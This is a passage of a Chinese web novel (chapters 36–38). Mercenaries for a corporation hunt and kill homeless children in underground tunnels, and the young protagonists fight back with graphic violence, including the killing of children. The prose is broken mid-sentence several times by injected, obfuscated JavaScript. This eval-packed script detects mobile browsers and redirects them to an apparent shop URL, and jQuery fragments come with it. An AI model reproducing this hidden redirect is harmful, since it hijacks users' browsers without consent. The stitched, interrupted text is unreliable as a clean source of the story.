童姥姥一言不发。她手中念珠随着数数,一枚一枚减少,穿绳从中被掐断,檀木珠粒粒悬浮空中,恰如雨夜水珠骤停。
“释。”她低语的霎时间。王德经理掐断短烟,双拳攥紧,房间中尚未散开的白烟尽数包裹住他的双臂——他大步向前,一拳一珠,周围伫立的尸体随残余的烟气,有模有样学着王德经理的样子,施展拳术攻击金光罩。
金光罩登时成为雨天池塘,涟漪频频。
童姥姥也顾不上继续控制那些念珠,稳定心神,专心支撑防护罩。她分身乏术,王德经理却好似找到了她的弱点,继续施加话术,“我也算是个好人。这么多年,我有对燕语作什么吗?我不是早和你们解释过了,下毒是我夫人做的,又不是我做的。”
他提起这件往事,刻意观察童姥姥的表情,趁热打铁,“我没少过她的工资,我也没苛待她,别人想赚这种钱还赚不到呢。更别提燕语还是个普……”
“闭嘴!”
他越是提起燕语,童姥姥的表情越是愤怒。她难以设想一个男人怎么能这么评价她们养大的女孩。生活在游戏化时代前的她已经努力用最坏的思路去揣测这些资本走狗。甚至,童姥姥已经接受这个世界是这样的残酷,这样不给普通人一条活路了。
她还是没办法接受,王德经理这种高高在上的态度。
他们只是给了燕语一份工作,就让燕语永远失去声音。
“你不配提起燕语。”童姥姥道:“你们会遭到报应的。”王德经理先是呆愣下,随后意识到这种不痛不痒的话居然是句咒骂和诅咒,他轻松地笑起来,嘲笑童姥姥,“这么清高,怎么不让你们的燕语辞职呢。”
他重拳出击,每下都打得防护罩高频颤抖,“我又不拦着她辞职。是她自己不走。”
童姥姥咬紧牙关,双手向前,金光源源不断从她手掌冒出来。
磅——
“上班嘛。你情我愿的事情。”
磅——
“不想干就走啊。”
磅——
“你这老尼,别拦着好女孩过好日子。”王德连续重拳三四下,想到什么似地,透露出满满的恶意,“哦。还有平安生这家伙……我们成平集团说不定他最好的归宿。你这老尼姑别耽误人家享福。”
童姥姥双手向前支撑,面若薄纸,目若定针。
她感受到自己的力量正在流逝,不知道是白烟带来的负面buff,还是因为迷宫其他地方、其他逃亡的孩子源源不断遇袭——童姥姥越发感觉到脱力,她像抓着一把气球对抗狂风,只能眼睁睁看着气球一个接着一个被风刮到天上,消失得无影无踪,血本无归。
“多少人。”童姥姥质询道:“你总共派了多少人。”
*
老刘今年38岁,20级,被原司辞退后,在低级副本打材料为生,偶尔冒死充当中级副本的开路人,给富少爷富小姐们当打手等等。
他没有具体的工作地点,也没有详细的工作内容,能干得都干,不能干得钱给够也能干。
这次,他与一众老伙计接了成平集团一份散工:清理地皮上的流浪汉。他们每一个人都得知那些流浪汉没啥技能、没什么高等级,就是特别会跑。成平集团简单给他们每人一把热武器,带头的一把20级的职业武器,就把他们赶到棚户区。
棚户区很安静。
一直到他们工作的废墟地点,四周都没有多余的声音。周围偶尔出现几个拿着蛇皮袋的老人,看到他们的枪和装备,抓着袋子佝偻着离开。而老刘所在的队伍,也跟随上级的指令,看到类似洞窟的存在,就打开一个气体弹丢下去。
“什么新型的杀虫方式。”
“不止是虫子,还有老鼠。”队友打开有一个气体弹。他们都不懂这气体到底是什么原理,丢下去不到一分钟,他们便能看到老鼠、昆虫成群地跑出来,大概三四米的距离,老鼠发狂地吱吱乱叫,追着自己尾巴咬,昆虫仰面倒在地上,四肢一抽一抽。
他们断定,这就是杀虫杀鼠的。
“成平真有钱。”他们议论道:“让这一片都搬走要不少钱吧。”
“人家最不缺的就是钱。”
这工作很轻松,除了集团来的监督员总臭着脸,盯着他们把每一个洞都打上气体弹,动不动说“扣钱”外,都很好。
“除了我们的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591370|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人,这里不能有任何活物。”监督员强调道:“认真工作,热成像仪都用起来。”
他们大概走了600米,绕到一棵烧焦的枯树下休息。中间还碰到其他的临时工队伍,有的轻松,有的却格外沉重。他们之间也没有打招呼,每一个人都冷漠地擦肩而过。
“刚刚过去那个,枪是热的。”老刘身边一个人忽然开口,还要继续说什么。监督员看过来,冷冷的神态吓得他们恢复到沉默状态。
在这可怕的沉默中,老刘难以呼吸。他站起来,借口找个地方上厕所。其他人也纷纷寻找稀奇的借□□络空气——他们听到什么东西正在挪动,那位冷静的监督员脸上出现收到工资的喜悦。他提起墙,超过要去撒尿的老刘,手起刀落——那是什么东西砍在骨头上,因为刀太快,他们其他人没有听到那块肉发出其他的生意。
等他们绕过去时,只看到一具被拖拽出来的9岁孩子的尸体,不远处那颗灰头土脸的脑袋与扎着小辫的头证明,那是个女孩。监督员踩着孩子的尸体,擦拭武器上的刀。
他指挥老刘和另外一个人看住洞穴,“出来一个,杀一个。”
“这。”
“他们被怪物寄生了。”监督员道:“不要有心理辅导,他们已经不是人了,而是野怪。你们杀人形怪会有心理负担吗?”
“可是。”
“不杀,工资一分钱都别想要。”监督员甩出这无往不利的胁迫,接着又缓和道:“我们这么大一个集团会骗人吗?”
黑峻峻的洞口传来砂石摩擦的声音,好像里面藏着什么大型蚯蚓,正一拱一拱爬出来。众人先看到灰色的指甲,接着是指节褶皱里一段曲折-展开的肉色,随后是小小的手,瘦窄的胳膊。他们打开枪栓,预备自己的技能,枪口对准洞口,等待里面冒出一个异类的怪物。
老刘尿都给憋回去了。
他找好角度,瞄准镜里才出现一个黑灰交织的头颅,手指扣动下去:那颗头正好抓过来,直勾勾看着他的瞄准镜,十字中露出张兔唇脸,老刘事后承认自己从没有见过兔唇,他被吓到了。
可实际上,他是被女孩的眼睛吓到了。因为他有一个健康的六岁女儿,每天都缠着他,同他叽叽喳喳说学校里发生的事情,从洞穴里钻出的兔唇野怪有一双无比相似的双眼。那眼睛黑白分明,在自然光下闪烁着一点眼神光,在开枪之前的零点几秒,她让老刘想起女儿大哭说晚上太黑,在开枪之后,她又让老刘恐惧为甚会想到女儿。
监督员给老刘加了工资,他命令其他人把尸体拔出来,这样其他野怪就会以为这条道路安全,会源源不断从这爬出来。他告诉所有人,杀一个野怪就加一份工资,杀得越多钱越多,他们还会去地下,那里野怪非常多。
“是不是很像人。”监督员告诉老刘,“这种野怪擅长幻术,人形也很像,但他们终究不是人,总会暴露出缺陷。你也看到了吧。”他指着唇中,惬意的笑笑,“假的就是假的。”
老刘终于安心下来,那类似杀人的内疚心在他心中游荡会,沉下去。
他的同伴们则遇到了困难。三四次拔不出尸体后,他们中一个粗人踩烂洞口周围一圈水泥,半破坏性地拖出尸体。洞口也以此塌陷,惊动其他藏于地下的野怪,彻底报废了。
“看来还有群体意识。”雇佣兵们惊讶发觉,这个小小的野怪在临死前,岔开双腿,卡住洞穴里两个人为挖掘出的卡槽。这两个小小的卡槽令人形野怪双腿完全扭曲,腿骨断成两个九十度,同时她的同伴们通过这双腿的扭曲程度,判断外界的危险程度,匆匆逃离。
“这里有一个族群。”雇佣兵们理解成平集团了,“难怪要雇人清理。”
37.第三十六章
第三十六章
监督员命令老刘一众人深入野怪挖开的洞穴。这一行为没有多久就因现实情况叫停:除去最上面的水泥覆层,这片不发达地区的土质多为砂砾瓦片。挖开洞穴口,能清晰看到利器在水泥层留下的刮痕。越往下,空间越呈现沙漏状,只够成年男性一条大腿的宽度。
老刘一行人根本进不去,除非他们动用爆破手段。
监督员否决这一提议。大约十几分钟后,他指挥老刘一行人进入地下水道,并显得格外胸有成竹,“放心好了。钱一分都不会少你。”
这对于老刘等人老说,是个实惠的承诺。
他们内心安慰自己,这次野怪清理工作和清理下水道的性质差不多。进入下水道的漆黑的世界时,他们眯起眼睛适应光线,依稀可以看到一些砖头的轮廓,听到窸窸窣窣跑过昆虫和鼠类的脚步。
在这样一个世界里,听觉忽然远胜过视觉。
“刚刚是老鼠吗?”
“老鼠也要清理掉?”
“就是,来都来了。”他们说话,没有和过去一样贸然开枪,更别杀戮。地面上那种开枪的勇气好像被黑色的未知的洞窟吞噬掉,所有成年男人都被迫微微佝偻身体,警惕又不安地观察四周,偶尔一阵恶臭的风让他们朝着同一方向看去,偶尔是墙壁与水滴撞击产生的回声,男人们攥紧武器,汗毛直竖。
这样的环境,滋生出那种小且畸形的野怪,似乎再正常不过。老刘努力对自己诉说一种合理性,泥泞的腐泥在脚边压出花来:正式这样的环境才会诞生出那种非人的小型人性怪。
看上去有六七岁,不,也可能是八九岁人类儿童那么大,头发油得根根分明,因为爬行不伦不类地歪着。那脸上,原本属于嘴唇的位置空缺出一大块,一直蔓延到鼻孔下,好像凭空被人摘掉了上唇、嘴唇包裹下的牙龈、牙齿。
一切都变成黑乎乎的洞穴。
也变成老刘坚信“她是野怪”的理由:他生长的时代人人健康,不存在什么因病痛痛苦的人——就算有,在父母亲朋的帮助下,度过第一个转职任务,疾病的状态也能好大半。
“谁?”
前方亮起火球,臭气在空气中极速燃烧。老刘忽地产生一种恐惧:在他的面前,扭曲的黑影从墙上掠过,一张丑恶的带着人形又没办法第一时间看出五官的脸,与他擦肩而过。
强烈的光线在他的身上游走,老刘大脑一片空白。他看到与那个地面野怪一样的双眼,一双非常像人类的双眼——此时此刻,他越发坚定这是一群群居在地下的新型野怪,他要活着出去,并绝不对他们手软。
老刘大呵着,“滚开。”
他举起武器,脖颈凉飕飕。迟来的暖流沿着咽喉往下,“滚开”两个字变成滋滋的冒气声,血沫喷洒而出,僭越到那丑陋人形后一个少女的脖颈上。
少女回头。
她有一双人类的眼睛,一张人类的脸,四肢健全。这比致命的一击更给老刘冲击,她看都不曾看老刘的挣扎,掰开老刘的手指,强硬地将枪从他身上剥下来,对准其他人。
哒哒哒哒。
哒哒哒哒。
她飞快扫射,没有任何章法,子弹无论射中还是不射中,最终都打在墙上,反弹到各个角落。职业者们犹如被惊动的蝙蝠洞窟,一只一只怪叫起来,阴影从他们脸上滑过,留下荆棘的形状。
“那是什么丑东西?”
“职业者。是职业者。”
乌修平劈过去,打断这些废话。他并不会过多依赖技能,因为他的技能少得可怜。面对真正的战斗,他只能尽力做到一个刺客的本分:
杀。
“火球术。”队伍里的法师高呼着,但还没有完全弹射出魔法球。沈曙雀对准他射出一发子弹,火焰与高速弹道碰撞在一起,乌修平冲入烟雾中,收割魔法师的咽喉。
他们杀了4个人,毫不恋战,即刻离开。
其余一众职业者刚调整好状态,等到烟雾散开,乌修平和沈曙雀已然消失在黑色的洞穴中。他们攀爬到穹顶,钻入牢记的迷宫地图中,幽暗、隐晦、不善地注视着来者。
毛骨悚然。
监督员乱糟糟地站在尸体周围。地下隧道长且窄,他们所处的位置最多容纳两人并行:因而前面的人对后面发生什么一无所知,也来不及反应。当他们终于安顿好队型,预备在长窄的空间中战斗时,一切都结束了。
“怎么回事。”监督员暴跳如雷,“对手有几个?”
“应该是……两个。”
“不不不,出手的只有一个。”比起这个,野怪会用枪更让人感觉震惊,有种史前巨兽下厨炒个三菜一汤的惊悚感。所有人也收敛起情绪,将尸体一条一条码起来,暂时安置在隧道一边,继续向前进。
他们时刻提防着角落里冲出的丑陋人脸,站在队伍最末端的两人小腿肚连连打颤,偶尔有恶臭的冷水从隧道顶滴落到他们的头颅,两个人便手舞足蹈,朝空气一顿劈砍。
“滚出来。”
鸦雀无声。
谁也不知道,那个看上去与男人无疑,但是脸丑陋又诡谲的家伙到底在哪里。
嗤——
刀挥舞的一瞬间,鲜血喷涌的力量都减弱下来。乌修平倒挂着,飞速扎过一个人的眼窝,拔出。沈曙雀抱着他的衣物,充当接力的桩子。两个人好不恋战,还滴着鲜血的荆棘刃从那一众人头顶飘过。
凉飕飕,黏糊糊。
两人重新匍匐入一个洞口,在俯下身的的瞬间,他们看到一把长刀刺穿泥土,不断捣烂他们原本所呆着的位置——地下隧道,特别是这种人工与人工混杂,工业与人为开凿混杂成一体的地下世界,是乌修平等人的温床。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617417|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他与沈曙雀不需要多说一句话,从四面八方涌来的潮湿泥泞,宛若羊水包裹着他们彼此。哪怕他们一前一后地匍匐前进,也完全不担心对方不理解自己的行为。
他们专心注视着下方,在这个昏暗的地下世界,第一次有了俯视别人的感觉。
沈曙雀贴着地面,那些成年男性沉重的呼吸声,兵器碰撞的声音,压低了嗓子但抑制不住怒火的声音,让她一一推测出他们要走的路径。
她拽了下乌修平的衣角。
乌修平会意的同时,抽出荆棘刃。沈曙雀握住刀刃,发出闷响,将自己的血覆盖在荆棘刃上,随着两人颅内共同的提示音。
乌修平跳下洞窟,第一下刺穿队伍最末端几个人的胳膊,随后弯下腰发动潜行,快速穿梭在人与人之间的缝隙里——随后,他找到了里面唯一一个成平集团的人,那个监督员。
双方刀刃相撞,白光在黑暗中闪现,微弱的火星呲呲爆射开来。完全没有什么跳跃,什么闪避,什么翻滚与移动的空间,两个人并行在窄道上,唯有刀与刀互相摩擦出的声音,令人耳膜震动。
乌修平真正的目标却不是杀死这个人。
他与沈曙雀猜测,这些大集团的人应该用对讲机保持联络:因为对话类的技能非常稀有,稀有到40级以下很少见。越低等级的人群中,科技使用的覆盖率越高。而高等级的人所使用的科技,已经完全超出了乌修平和沈曙雀能想象的地步。
“该死。快过来帮我。”监督员一个后仰,身体撞在墙壁上砖块上的蕨类碾出大片草汁。乌修平手持荆棘刃劈砍而来,双方再次缠斗在一起,监督员迅速抬脚,踢中乌修平的小腹。
按照男人脆弱的属性,这一脚迅猛如电,监督员甚至用上了技能,力量大到离谱。乌修平被踢得撞击到另一侧的墙壁上,两人之间不过一米半的距离,双方爬起来重新战斗,不过眨眼的功夫。
“草。你们干什么吃的。”监督员怒而训斥,“快过来。”
他看到沈曙雀从一处意想不到的泥土中破身而出。那些被叶生光技能隐藏起来的小型洞口,充当了奇袭的作用。女孩捡起地上好几把枪,对准每一个身中诅咒痛苦不已的男人,毫不犹豫按下扳机。
哒哒哒哒。
哒哒哒哒。
每一枪都精准命中了脑门,生怕人不死,沈曙雀还会多补两枪。她拿着枪,不管乌修平还在和人打生打死,捞起所有武器,快步上前,扒拉另外一个小型洞口,把武器丢到里面。
“你在看什么。”乌修平刺过去。这一次,他成功刺中了监督员,哪怕监督员的刀也正好刺穿了他自己的身体。鲜血泉涌,监督员刀刃上的火焰在伤口周围卷起火舌,一股焦灼的香味从乌修平身上传来。
他毫无知觉。
荆棘刃技能一【双倍疼痛】,发动。
38.第三十七章
第三十七章
人体无论进化到什么程度,对火焰的炙烤的忍耐度都是有上限的。乌修平胸口狭窄的伤口正燃烧着一簇火苗,刀口一圈的肉边缘发黑发焦,滋滋燃烧的脂肪香味围绕弥漫在两人中间。
监督员脸上闪过胜利的笑容。他并没有关注乌修平奇怪的武器,用力向更深处捅去。随着刀柄深入,他脸上肌肉一点点塌下去,有点像张揉皱后反复推平的纸张,在某个瞬间被揉成团,越搓越小,最终只有嗓子眼大小。
监督员发出撕心裂肺的惨叫。
沈曙雀惊得回过头,整个隧道都回荡着一个成年男性的惨叫,他的声音一会儿在上面,一会在下面,一会像哭泣的婴儿一会像垂死的老人。乌修平还没动手做什么,监督员四肢发狂地抽搐起来。他松开握着的刀柄,双手揉搓皮肤,似乎要把什么看不到的东西从身上抖下去。他的每一根骨头都不呆在原来的位置上,墙壁成为最坚实的依靠,他甚至将脸擦在墙上,“赫赫”发出喘息声。
就像是酷暑时看见冰块那般。
他短暂地从剧痛中回神,眼瞳里眼白占据四分之三的地步,黑漆漆的瞳孔针一样刺向乌修平。“技能。技能。”他发出野兽的声音,摇晃站起来,手指一挥瞬发四五个火球,同时一脚踹在乌修平身上。
濒死时爆发的力量把乌修平撞在墙上,不足两人并行的隧道中,一旦倒下便是彻底的劣势。乌修平一把抱住监督员的腿。他将这个哀嚎的男人拖到地上,用荆棘刃第二次刺中对方。
惨烈的绝望的哀嚎充斥着隧道,喘气声,哭泣声。火球撞击在墙上,迸射出的火花炸入他们的身体。沈曙雀握着枪柄,填充子弹,她试图上前,却一时间没办法分辨出挚友与敌人。
两个人像融化的塑料,被烫在一起。
不要钱的术法从监督员指尖发出,他应该是个很有能力的法师类职业者,所有技能都是瞬发。但在鼻尖对鼻尖的距离里,再多的瞬发都抵不过拳头和刀。乌修平坐在监督员的身上,一拳,接着又是一拳。
他听到沈曙雀在叫自己,耳膜却充满水一样,模糊不清。
乌修平侧耳,温热的不知道是血还是水的东西从耳廓出来。他听到拳头下的监督员发出虚弱的哀求声,“不要……不要杀我。”
他低下头,已经看不到敌人的五官细节:鼻子塌陷、嘴唇出血、牙齿崩开、整张脸都是血和变形的痕迹。
唯独从肿胀的眼皮下,乌修平看到那泛着光的眼睛。他记忆里某一幕忽然苏醒,他清楚认识到这不是真正哀求的眼神,那狭窄的被揍得不成样的眼睛里只有活下去的欲望和强烈的懊悔。
不是“为什么要欺负他”的懊悔。
是“早知道一开始就杀了他”的懊悔。
如此的熟悉。
如此的熟悉。
乌修平将荆棘刃捅进去,拔出来。为了让这些高高在上的人体验他的痛苦,他拔出来,再次捅进去。
身下,那团血肉模糊的脸咕噜喷出一小股鲜血,还没结束。
他残留下的火系法术在乌修平身上继续燃烧,那些不要钱的瞬发技能组合烧掉乌修平的衣服、皮肤、肌肉……刺啦刺啦的声音里,乌修平惊觉这是如此凉快的火焰,随后,他意识到这是烫到极致,体感出现了错觉。
沈曙雀又在说什么。
乌修平心领神会,他问:“你们有多少人。”
身上燃烧的火焰将血烤干,每一次捅穿敌人时飞溅的鲜血尚未扑向乌修平,就被对方的火焰法术燃烧干净。乌修平只能察觉到混合着甜腥味的蒸汽从自己脸上焖过去。
这本应该是痛苦的极致的或许还带着点绝望的审讯,他的内心却没有任何感觉,甚至没有任何的愤怒——隔绝疼痛的时候,好像有什么东西也被他隔绝掉了。
乌修平凝视着身下的敌人,双眼隔着火焰。
“你们来找平安生。”他说完情绪发生了变化,好像平安生这个名字带这种温柔的美丽。
监督员惊恐地睁开融在一起的双眼,面前被火焰灼烧到毫无知觉的怪物,正展现出种人类的情感,那种无限接近于“爱”的存在,狂妄的如此明显的爱随着一个名字被召唤出来。
残存的衣物布料和肉黏糊在一起,因隧道高度微微佝偻的身体上,皮肤几乎消失大半,火焰与血肉纠缠成块状,一道一道稀稀拉拉掉下来。怪物的脸上原本就遍布着凹凸不平的伤痕,现在更是叫他模糊的五官黏成坨,好似摔了一块稀泥在上面。
他正在被一种虚妄的东西点燃着。
这可怕的非人的一幕在临死前终于击溃了监督员的内心。他不断呓语着混乱复杂的语言,手脚失去支柱融化在地上。
乌修平收起荆棘刃,接着在地上打滚。沈曙雀终于能上前帮忙一起扑火。她知道乌修平能够屏蔽疼痛,但屏蔽能力也不应该被如此使用。
“你干嘛不躲开。”沈曙雀责怪道:“被烧成这样,不知道要养多久。”
乌修平没有说话,他看向身后。沈曙雀丢下武器的洞口里,悄悄露出一只孩子的手,那只幼小的手只剩大拇指和小拇指,因而他努力伸长胳膊,勾住洞穴边缘,将半个身体拉出来。
沈曙雀呵斥道:“回去!不准出来。”
她凶巴巴的语气,叫那手,以及手下面的孩子们嗦嗦成一团,再也不说话。她自己则转头教育乌修平,“火又不会烧到洞穴里,再说,还有我的血。你……哎呀。”
乌修平站起来,鲜血干涸,厚厚一层血痂,宛若红色铠甲。
他原有的衣物都烧了个干净,反而是男人最看重的部位被内裤似的金属包裹起来。沈曙雀忍不住多看了两眼,欲言又止,转头扒掉一具尸体的裤子跑回来。
乌修平已开始抠掉脸上的血痂。他手指沿着过去凹凸不平的边缘,揪住一个血痂的翘边,撕拉,一大片便剥落下来。
“你的老板……”
“我没事。”乌修平安慰沈曙雀,“他就喜欢丑的。”
沈曙雀将裤子丢在他怀里,开始摸尸体上有用的物资。她把治疗药水全部塞到一个随行包里(包也是拿的),什么能塞都塞进去,“你就是爱自作主张。我最讨厌你这一点,自大狂。”
她将所有的药水捧到乌修平面前。
乌修平喝下两瓶,在治疗的反向作用下,他身上的伤疤重新占据上风,烈火舔抵过的皮肤只留下黑褐色的灼烧伤口,以及遮挡不住的浓烈臭味。他笃定这层结痂的伤口下,那些顽劣的刀痕、剪子痕依旧存在。
从来到仁爱院就有的伤疤,从没有消失过。
在这些强势霸道的伤疤下,其他新增加的伤口会被“吃掉”、被“消化”,它们永远无法占据主动权。
哪怕是刚刚那般可怕的伤。
“我觉得我和平叔不一样。”乌修平摸摸自己的脸,百般不解,“平叔不会和我一样,遭遇到某些情况可以自己重新恢复……”
“走吧。”沈曙雀无奈道:“神灵诅咒和人造诅咒能一样吗?”
“嗯。”乌修平停下乱七八糟的想法,跟着沈曙雀前行。
他看向满地尸体,惊讶自己和沈曙雀原来能杀这么多人。除此之外,他第一次发觉自己对仁爱院很多人并不存在什么具体的爱。
“总共三队人。”沈曙雀小声交换信息,掏出一张尸体上摸出来的皱巴巴的纸,用手指甲划掉一连串名字,“我们抓紧。”
他们走到岔路口。乌修平蹲下身,将沈曙雀抱起,令沈曙雀抓住上方一个洞窟边缘。两人共同爬上去,空气里仅有彼此的呼吸声。沈曙雀骨架小,匍匐在前方,用手扒拉开挖掘时残留下的暗门,“啊呜,走这里。”
“嗯。”
乌修平垂下眼眸,居然觉得身体也松快不少。这里有不少路径由他挖出来,但时间久远,乌修平自己并不记得。
他们急速前行,头顶却传来轰轰的声音,好像是泥头车一辆一辆碾压而过。
两人贴着地面的脸被震荡到微微发颤。砂砾跳起来抽打到他们脸上,每一粒颗粒都具备水银的重量,隧道中迎来一场泥土构成的雨点。
燕语仰起头,发丝上覆盖层灰白色。
她在逃窜过程中钻入不少狭窄的甬道,匍匐向前的过程里,她拼全力思考如何活下来,不被成平集团的人抓住。
她身边是三个落队的孩子,怀里还抱着一个。
怀里的孩子发出虚弱的声音,似乎是被洋洋洒洒的尘土呛到。他开始咳嗽,这种有气无力的咳嗽像是透过蜘蛛丝,竭力要扫清嗓子里的污垢。燕语发不出声音,除了抱着用摇晃哄孩子外,什么都做不了。
“燕语。”她背后传来一个虚弱的声音,“放我下来吧。”
平安生被长布用婴儿背带式绑法固定在燕语背上,活像是只黑色的蛹。
燕语不能说话,摇头时,她的头发不断骚动着平安生的面颊,散发出慌张的汗味。
“他们,找我。”平安生艰难组织语言。他苏醒后,会和人说话,哪怕没有人强迫平安生说话,他也努力对着空气说话。
语言是他努力恢复正常的第一步,义肢是第二步。
而现在,逃跑途中,他抛掉义肢,本身充满“诱饵”的觉悟,是燕语坚持将他绑在背上,拽着那几个还没反应过
() {
$(''.inform'').remove();
$(''#content'').append(''
来的痴呆儿们逃跑。
他们在迷宫中游走,不断判断敌人和自己人的方向。偶尔遇到躲藏起来的孩子,燕语都竭力将能塞进去的孩子塞进去,她自己带着剩余的孩子继续逃跑。
平安生原本也要被塞进去,他抗拒和孩子们在一起。他对燕语说,将他和孩子们放在一起容易殃及池鱼;何况,他正在努力复健,已经能够使用一两个简单的初级技能。
“受伤,我治。”
他给燕语一个低等级的“基础治疗”,堪堪疗愈擦伤。
“他们,找我。”平安生道:“前面,有车,你把我,放下。走。”
燕语摇摇头。
她先前就想过使用推车这类道具,毕竟他们将物资运输到地下时,难免用上这些运输工具——车轮与凹凸不平的地面发出剧烈的轱辘声,在迷宫中简直是为敌人指路。更别提一部分逃生通道需要爬行,坐在推车上,无异于等死。
“没事。”平安生知道燕语的担忧。他安慰燕语,语气带着点笃定,“我,死不了。”
他对那群人还有利用价值。
燕语再次摇头。
她想要比划手语传达自己的意思,稍微摆弄几下,才意识到平安生看不懂。随即,单手拽住背带,抱紧怀里孩子,其余三个孩子分别牵着她的衣摆,一群人小心地前行。
平安生不再说话,呼吸都放轻了许多。
燕语小心走在路中间,利用肩膀测量自己与墙的距离。她一路走来没有碰到任何人事物,周围黑漆漆,除了她们自己的脚步声外,什么都没有。偶尔怀里的孩子小猫似地啜泣起来,唤起燕语内心微弱的紧张。她把包裹着孩子的布扯出一小段,盖在孩子的脸上,避免尘土再进入他的眼睛和鼻腔。
头顶,好像下着一场没有终点的雨。
每一声巨响都伴随着大量的尘埃,漆黑中,燕语感觉自己探出去的脚触碰到结结实实的墙。她腾出一只手,看不到任何边缘,看不到墙上到底是什么,便从前面开始摸索。
她记性很好,叶生光在她手心画下的地图,她全部记住了。
可是,这里本应该是链接另外一个岔路口的地方。燕语感到天旋地转,她想叶生光或许是画错了,或者自己记错了。
不,就是她太放松了,每次回到仁爱院脑子一片空白。燕语想到什么似得,痛苦地发出一声鼻音。
牵着她衣角的孩子循着声音拽了下,什么都没有说。他们靠在漆黑的隧道里,不断落下的灰尘越来越多。
土会把他们活埋在这里。
“照亮。”平安生说出两个字。
他的嗓音沙哑,用出这样的术法对现在的他来说,略显得费劲。但随着指甲盖大的光点在半空飞舞,燕语与孩子们终于看到了那崎岖的不正常的墙壁是什么。
整整一面墙的红底蓝花吉祥花纹样布,随着光点的靠近,那巨大的坚硬之物左右晃动起来。整个甬道都随着它的动作震动起来,燕语吓得抱紧怀中孩子,撑开另外一只手把所有孩子拦在身后。
那块巨大的红底蓝花吉祥纹花布发出嘲笑似的声音,微弱的光线下,它的蠕动格外立体:每一个花样下都好像长有圆头尖角的东西,那样子类似春笋,源源不断戳出一个尖塔,又隐没下去。它们组合出的声音类似布料摩擦的声音,其中还混杂着吱吱叫玩具和机械零件碰撞的声音。
它们不断繁殖,声音越来越大,动作越来越大,直至刺穿花布,劈头盖脸砸中燕语。一只毛绒小老鼠踩中燕语的头发,轻巧又灵活,喘息之余不忘用两只前爪揉圆自己的棉花脸蛋。一只橡胶小老鼠猝不及防撞上来,发出吱吱的空气哨声,带着毛绒小老鼠一块摔在地上,混入浩浩荡荡的老鼠大军,一屁股挤走其中肥硕发黑的真老鼠。
老鼠们亲昵接受这些假老鼠,任由这些玩具老鼠指挥它们,上跳下窜浪花一般行走在甬道中。
吱吱吱。
【必须要完成主人的任务】
吱吱吱吱。最顶端一只花布小老鼠下达第一指令,不大的黑色豆豆眼闪烁着困惑的目光。作为一个类似小说中使魔的存在,它除了充当传话筒、监视器外,偶尔也会生产自己的脑子,对任务进行思考。
例如,他的主人命令它保护好乌鸦的鸟。
嗯?
乌鸦?鸟?乌鸦不是鸟吗?为什么要保护鸟鸟的鸟鸟?鸟鸟?花布小老鼠站在一只猫大的老鼠背上,挠挠脑子,发现自己没有爪子,只能无能地拱了拱背,甩甩尾巴。
显然这种问题有点超出它的棉花脑袋了。
它选择召唤这座城市所有的老鼠帮自己完成这个艰巨的任务。
39.第三十八章
第三十八章
游戏化时代,每一个职业都有相关的分类。
但和过去电子游戏不同,现实游戏化并不会给出有条有理的职业途径,每时每刻都有意想不到的新职业、新分叉出现。人类只能依靠自己的尝试和经验去归纳、总结、应用。
每一个职业都有意想不到的开发点,每一个职业都可能存在人类尚未发现的盲区。
例如,穴鼠的职业【堕落者】。
他是召唤系吗?不是,但他却可以赋予一只花布小老鼠灵智让其成为自己的使魔,同时让这只玩具小老鼠拥有“召唤”“附魔”两种能力。
他是魔法系吗?不是,但他却可以凭空变化出各种意想不到的术法,还能轻易释放雷电。
他是辅助系?生活系里的锻造职业吗?也不是。但穴鼠可以通过简单的改装,将一枚戒指变成束缚乌修平,还带有电击功能的拘束环。
这就是,89级。
一个将职业玩到顶尖的89级。
他的使魔娴熟指挥老鼠大冲入每一个隧道,填补每一个可能存在危险的坑洞,天花板、墙壁、凹凸不平水泥地面,人类所能看到或看不到的地方,遍地都是老鼠,再狭窄的管道对他们来说都是康庄大道。地上的发白的尸体顷刻间被淹没,一群接着一群老鼠就像是褐灰色的地毯,将他们一具一具卷起来。吱吱吱的声音中,伴随着细微的咀嚼与奔跑中产生的撞击声音。
一时间,无论是孩子们还是成年人,惊恐的声音接连冒出来,谁也没有心思逃跑或追杀。漆黑的成片的老鼠从孩子们身上爬过,几个大的用手捂住自己和孩子的脸,细长的老鼠尾巴从他们身上细细密密扫过去,到后面像一把粗粝的枯枝扫把反复扫荡。
狭窄的隧道里,老鼠成群结队,挤压得喘息不上气。
成年人的叫声变得尖锐,接着是一阵歇斯底里的疯狂,逐渐地,那些声音变弱,空气中只留下啮齿类动物咔咔咔的密集的声音。
童姥姥向前撑开双手。她所在的保护罩已经缩小成一张桌子大小,频闪着微弱的光。她佝偻着身体,双腿跪在地上,一只眼流着血半眯着,另外一只闪烁着不屈的光芒,身后十几个孩子大的背着小的,努力团在童姥姥身后。
“靠紧。”童姥姥呵斥出声。
孩子们手脚吸在一块,也不管是哪里,全部埋下脑袋,肩膀缩起来。密集的鼠群冲撞向保护罩,本就不强盛的光犹如坏掉的灯泡,黑下又极快地闪烁一下,继续陷入昏暗中,残留的能量勾兑出微弱的白色轮廓。
孩子们的脸正被这些白色轮廓照亮着。他们脸上出现一个又一个鼠类的脚印,鼠群乌云一样从他们头顶游过。他们更紧密将脸贴在一起,瞳仁微微放大。
“皮卡丘。”
忽然有一个孩子说道。
